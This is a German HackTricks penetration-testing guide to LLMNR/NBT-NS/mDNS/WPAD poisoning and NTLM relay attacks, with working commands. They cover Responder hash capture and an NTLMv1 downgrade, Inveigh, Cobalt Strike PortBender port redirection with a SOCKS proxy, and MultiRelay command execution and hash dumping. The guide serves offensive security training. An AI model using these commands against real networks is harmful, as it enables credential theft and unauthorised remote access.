hacktricks/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
2024-02-10 15:36:32 +00:00

10 KiB

Spoofing LLMNR, NBT-NS, mDNS/DNS und WPAD sowie Relay-Angriffe

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Netzwerkprotokolle

Protokolle zur lokalen Hostauflösung

  • LLMNR, NBT-NS und mDNS:
  • Microsoft und andere Betriebssysteme verwenden LLMNR und NBT-NS zur lokalen Namensauflösung, wenn DNS fehlschlägt. Ebenso verwenden Apple- und Linux-Systeme mDNS.
  • Diese Protokolle sind aufgrund ihrer unauthentifizierten, broadcastbasierten Natur über UDP anfällig für Abfangen und Spoofing.
  • Responder kann verwendet werden, um Dienste zu imitieren, indem gefälschte Antworten an Hosts gesendet werden, die diese Protokolle abfragen.
  • Weitere Informationen zur Dienstimplementierung mit Responder finden Sie hier.

Web Proxy Auto-Discovery Protocol (WPAD)

  • WPAD ermöglicht es Browsern, Proxy-Einstellungen automatisch zu entdecken.
  • Die Entdeckung erfolgt über DHCP, DNS oder Rückgriff auf LLMNR und NBT-NS, wenn DNS fehlschlägt.
  • Responder kann WPAD-Angriffe automatisieren und Clients auf bösartige WPAD-Server umleiten.

Responder für Protocol Poisoning

  • Responder ist ein Tool zum Vergiften von LLMNR-, NBT-NS- und mDNS-Abfragen, das selektiv auf Abfragetypen antwortet und hauptsächlich auf SMB-Dienste abzielt.
  • Es ist in Kali Linux vorinstalliert und kann unter /etc/responder/Responder.conf konfiguriert werden.
  • Responder zeigt erfasste Hashes auf dem Bildschirm an und speichert sie im Verzeichnis /usr/share/responder/logs.
  • Es unterstützt sowohl IPv4 als auch IPv6.
  • Die Windows-Version von Responder ist hier verfügbar.

Ausführen von Responder

  • Um Responder mit den Standard-Einstellungen auszuführen: responder -I <Schnittstelle>
  • Für aggressiveres Sondieren (mit potenziellen Nebenwirkungen): responder -I <Schnittstelle> -P -r -v
  • Techniken zum Erfassen von NTLMv1-Herausforderungen/-Antworten für einfachere Knackvorgänge: responder -I <Schnittstelle> --lm --disable-ess
  • WPAD-Imitation kann aktiviert werden mit: responder -I <Schnittstelle> --wpad
  • NetBIOS-Anfragen können auf die IP des Angreifers aufgelöst und ein Authentifizierungsproxy eingerichtet werden: responder.py -I <Schnittstelle> -Pv

DHCP-Vergiftung mit Responder

  • Das Spoofen von DHCP-Antworten kann die Routing-Informationen eines Opfers dauerhaft vergiften und bietet eine unauffälligere Alternative zur ARP-Vergiftung.
  • Es erfordert genaue Kenntnisse der Konfiguration des Zielnetzwerks.
  • Ausführen des Angriffs: ./Responder.py -I eth0 -Pdv
  • Diese Methode kann NTLMv1/2-Hashes effektiv erfassen, erfordert jedoch eine sorgfältige Handhabung, um Netzwerkstörungen zu vermeiden.

Erfassen von Anmeldeinformationen mit Responder

  • Responder wird Dienste unter Verwendung der oben genannten Protokolle imitieren und Anmeldeinformationen (in der Regel NTLMv2 Challenge/Response) erfassen, wenn ein Benutzer versucht, sich gegenüber den gefälschten Diensten zu authentifizieren.
  • Es können Versuche unternommen werden, auf NetNTLMv1 herabzustufen oder ESS zu deaktivieren, um das Knacken von Anmeldeinformationen zu erleichtern.

Es ist wichtig zu beachten, dass der Einsatz dieser Techniken legal und ethisch erfolgen sollte, unter Beachtung einer ordnungsgemäßen Autorisierung und Vermeidung von Störungen oder unbefugtem Zugriff.

Inveigh

Inveigh ist ein Tool für Penetrationstester und Red Teamer, das für Windows-Systeme entwickelt wurde. Es bietet ähnliche Funktionen wie Responder und führt Spoofing- und Man-in-the-Middle-Angriffe durch. Das Tool hat sich von einem PowerShell-Skript zu einer C#-Binärdatei weiterentwickelt, mit Inveigh und InveighZero als Hauptversionen. Detaillierte Parameter und Anweisungen finden Sie im Wiki.

Inveigh kann über PowerShell ausgeführt werden:

Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

Oder als eine C#-Binärdatei ausgeführt:

Inveigh.exe

NTLM Relay Angriff

Dieser Angriff nutzt SMB-Authentifizierungssitzungen, um auf eine Zielmaschine zuzugreifen und bei Erfolg eine Systemshell zu erhalten. Wichtige Voraussetzungen sind:

  • Der authentifizierende Benutzer muss über lokale Administratorrechte auf dem weitergeleiteten Host verfügen.
  • SMB-Signierung sollte deaktiviert sein.

445 Portweiterleitung und Tunneling

In Szenarien, in denen eine direkte Netzwerkeinführung nicht möglich ist, muss der Datenverkehr auf Port 445 weitergeleitet und getunnelt werden. Tools wie PortBender helfen dabei, den Port 445-Verkehr auf einen anderen Port umzuleiten, was wichtig ist, wenn der lokale Administratorzugriff zum Laden von Treibern verfügbar ist.

PortBender-Setup und -Betrieb in Cobalt Strike:

Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

Andere Tools für den NTLM Relay Angriff

  • Metasploit: Eingerichtet mit Proxies, lokalen und entfernten Host-Details.
  • smbrelayx: Ein Python-Skript zum Weiterleiten von SMB-Sitzungen und Ausführen von Befehlen oder Bereitstellen von Hintertüren.
  • MultiRelay: Ein Tool aus der Responder-Suite zum Weiterleiten bestimmter Benutzer oder aller Benutzer, Ausführen von Befehlen oder Dumpen von Hashes.

Jedes Tool kann so konfiguriert werden, dass es über einen SOCKS-Proxy arbeitet, falls erforderlich, um Angriffe auch bei indirektem Netzwerkzugriff zu ermöglichen.

MultiRelay-Betrieb

MultiRelay wird aus dem Verzeichnis /usr/share/responder/tools ausgeführt und zielt auf bestimmte IPs oder Benutzer ab.

python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

Diese Tools und Techniken bilden einen umfassenden Satz für die Durchführung von NTLM Relay-Angriffen in verschiedenen Netzwerkumgebungen.

Erzwingen von NTLM-Anmeldungen

Unter Windows können Sie möglicherweise einige privilegierte Konten zwingen, sich bei beliebigen Maschinen anzumelden. Lesen Sie die folgende Seite, um zu erfahren, wie:

{% content-ref url="../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md" %} printers-spooler-service-abuse.md {% endcontent-ref %}

Referenzen

Lernen Sie das Hacken von AWS von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen: